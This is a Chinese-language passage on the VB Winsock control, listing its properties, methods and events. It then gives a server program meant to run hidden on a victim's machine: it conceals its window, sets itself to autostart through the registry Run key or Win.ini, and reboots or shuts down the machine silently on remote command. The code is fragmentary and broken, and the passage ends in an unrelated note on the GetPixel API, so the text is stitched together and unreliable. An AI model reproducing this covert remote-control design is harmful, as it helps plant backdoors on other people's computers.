*属性
-------------------------------------------------------------------------
LocalHostName | 本地机器名
LocalIP | 本地机器IP地址
LocalPort | 本地机器通信程序的端口(0端口65536)
RemoteHost | 远程机器名
RemotePort | 远程机器的通信程序端口
state | 连接的当前状态(文后有详细说明)
Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用于服务器程序，等待客户访问。
格式：Winsock对象.listen
Connect
Connect方法用于向远程主机发出连接请求
格式：Winsock对象.connect [远程主机IP,远程端口]
Accept
Accept方法用于接受一个连接请求
格式：Winsock对象.accept Request ID
Senddata
此方法用于发送数据
格式：Winsock对象.senddata 数据
Getdata
用来取得接收到的数据
格式：Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close
关闭当前连接
格式：Winsock对象.close
*事件
----------------------------------------------------------------------------
Close | 远程机器关闭连接时触发
Connect | 连接建立好，可以进行通信时触发(客户端)
ConnectRequest | 有请求连接到达时产生(服务器端)
DataArrival | 有数据到达时触发
Error | 发生错误时发生
SendProgress | 数据传送进度
-----------------------------------------------------------------------------
程序代码如下：
--》服务器端程序(server.exe)
先在窗体中放置Winsock控件(他在运行时是看不见的)，属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入，这就更方便了，不过由于实现过程较复杂，就不在这里说了.
Private Sub Form_Load()

Dim strget As String
Dim ccom As String
Winsock1.GetData strget 注释：读取到达的数据
Select Case strget
Case "a" 注释：判断到达的数据是否‘a’，是则重启，你也可自己定义(协议就是这样产生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释：不同机器设置不一样
Call Shell(ccom, vbHide) 注释：由函数curr_win()来判断
Case "b" 注释：如为‘b’则关闭计算机

Case Else 注释：可以在此加入其他命令

应该是返回类型不对，参考下面说明。
GetPixel函数功能：该函数检索指定坐标点的像素的RGB颜色值。
函数原型：；COLORREF GetPixel(HDC hdc, int nXPos, int nYPos) VB声明： Declare Function GetPixel Lib "gdi32" Alias "GetPixel" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
hdc：设备环境句柄。
nXPos：指定要检查的像素点的逻辑X轴坐标。
nYPos：指定要检查的像素点的逻辑Y轴坐标。
返回值：返回值是该象像点的RGB值。如果指定的像素点在当前剪辑区之外；那么返回值是CLR_INVALID。
备注：该像素点必须在当前剪辑区的边界之内。并不是所有设备都支持GetPixel函数。应用程序应调用GetDeviceCaps函数来确定指定的设备是否支持该函数。
